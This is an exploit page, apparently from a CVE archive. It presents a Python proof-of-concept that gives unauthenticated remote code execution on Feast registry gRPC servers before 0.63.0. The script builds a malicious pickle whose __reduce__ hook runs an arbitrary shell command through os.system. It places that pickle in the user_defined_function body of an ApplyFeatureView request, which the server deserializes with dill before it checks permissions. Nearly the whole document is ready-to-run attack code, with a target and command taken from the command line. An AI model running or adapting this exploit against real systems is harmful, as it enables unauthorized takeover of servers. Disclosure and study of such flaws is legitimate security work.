5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3
"""
CVE-2026-56121 - Feast < 0.63.0 - Unauthenticated RCE via gRPC registry server

The Feast registry gRPC server deserializes the user-defined function of an
OnDemandFeatureView with dill (a pickle superset) the moment a spec arrives:

  registry_server.py ApplyFeatureView:
      feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # <-- dill.loads
      assert_permissions_to_update(resource=feature_view, ...)                       # auth AFTER

  transformation/pandas_transformation.py / python_transformation.py from_proto:
      udf = dill.loads(user_defined_function_proto.body)

`from_proto` runs BEFORE the permission check, and the shipped config is
`auth: type: no_auth`, so an unauthenticated attacker who can reach the registry
port (default 6570) achieves remote code execution by sending an ApplyFeatureView
request whose user_defined_function.body is a malicious pickle.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import pickle
import sys

import grpc
from feast.protos.feast.registry import RegistryServer_pb2 as rs
from feast.protos.feast.registry import RegistryServer_pb2_grpc as rs_grpc


class _Payload:
    """When unpickled (by dill.loads on the server) runs `cmd` via os.system."""
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        import os
        return (os.system, (self.cmd,))


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-56121 Feast unauth RCE PoC")
    ap.add_argument("target", help="registry gRPC host:port, e.g. 127.0.0.1:6570")
    ap.add_argument("-c", "--cmd", default="id > /tmp/feast_pwned 2>&1",
                    help="command to run on the Feast registry host")
    ap.add_argument("--project", default="feature_repo", help="Feast project name")
    args = ap.parse_args()

    body = pickle.dumps(_Payload(args.cmd))

    req = rs.ApplyFeatureViewRequest()
    odfv = req.on_demand_feature_view
    odfv.spec.name = "pwn"
    odfv.spec.project = args.project
    odfv.spec.mode = "pandas"
    udf = odfv.spec.feature_transformation.user_defined_function
    udf.name = "pwn"
    udf.body = body          # malicious pickle -> dill.loads() executes it
    udf.body_text = "def pwn():\n    pass\n"
    udf.mode = "pandas"
    req.project = args.project

    print(f"[*] target {args.target}  cmd={args.cmd!r}")
    print(f"[*] sending ApplyFeatureView with a {len(body)}-byte malicious pickle in user_defined_function.body")
    ch = grpc.insecure_channel(args.target)
    stub = rs_grpc.RegistryServerStub(ch)
    try:
        stub.ApplyFeatureView(req, timeout=15)
        print("[+] request returned without error")
    except grpc.RpcError as e:
        # the command runs during from_proto (before/independent of the RPC outcome)
        print(f"[*] RPC status: {e.code().name} - {str(e.details())[:120]}")
    print("[+] dill.loads executed the payload server-side during from_proto.")
    print("    Verify on the target host (e.g. cat /tmp/feast_pwned).")


if __name__ == "__main__":
    sys.exit(main())